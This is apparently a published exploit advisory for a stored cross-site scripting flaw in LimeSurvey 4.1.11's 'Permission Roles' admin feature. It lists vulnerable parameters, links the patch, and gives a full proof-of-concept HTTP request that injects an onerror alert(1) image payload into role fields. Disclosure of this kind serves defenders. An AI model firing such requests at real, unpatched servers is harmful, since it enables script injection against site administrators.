LimeSurvey 4.1.11 – ‘Permission Roles’ Persistent Cross-Site Scripting
# Exploit Title: LimeSurvey 4.1.11 - 'Permission Roles' Persistent Cross-Site Scripting # Date: 05/26/2020 # Exploit Author: Matthew Aberegg # Vendor Homepage: https://www.limesurvey.org # Version: LimeSurvey 4.1.11+200316 # Tested on: Ubuntu 18.04.4 # Patch Link: https://github.com/LimeSurvey/LimeSurvey/commit/2aada33c76efbbc35d33c149ac02b1dc16a81f62 # Vulnerability Details Description : A stored cross-site scripting vulnerability exists within the "Permission Roles" functionality of the LimeSurvey administration panel. Vulnerable Parameters : Permissiontemplates[name], Permissiontemplates[description] # POC # Exploit Details : The following request will create a permission role with an XSS payload as the role name and description. POST /limesurvey/index.php/admin/roles/sa/applyedit HTTP/1.1 Host: TARGET Content-Length: 443 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://TARGET Referer: http://TARGET/limesurvey/index.php/admin/roles Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: YII_CSRF_TOKEN=RWc3emx-NVhlfm1xamJhRkVSWGlkc1lRfmR5U0RRalYzu7h7NfgUoNTY6kMmTkPkB3J0_IsbOQQEMfsWGmt0Pg%3D%3D; LS-ERXSBPYJOOGIGFYW=m4qshhf7m76ifsm6k0v1vq084h Connection: close YII_CSRF_TOKEN=RWc3emx-NVhlfm1xamJhRkVSWGlkc1lRfmR5U0RRalYzu7h7NfgUoNTY6kMmTkPkB3J0_IsbOQQEMfsWGmt0Pg%3D%3D&Permissiontemplates%5Bptid%5D=&Permissiontemplates%5Bname%5D=%3Cimg+src%3D%2F+onerror%3Dalert(1)%3E&Permissiontemplates%5Bdescription%5D=%3Cimg+src%3D%2F+onerror%3Dalert(1)%3E&Permissiontemplates%5Brenewed_last%5D=2020-03-31+17%3A51%3A02&Permissiontemplates%5Bcreated_at%5D=2020-03-31+17%3A51%3A02&Permissiontemplates%5Bcreated_by%5D=1 |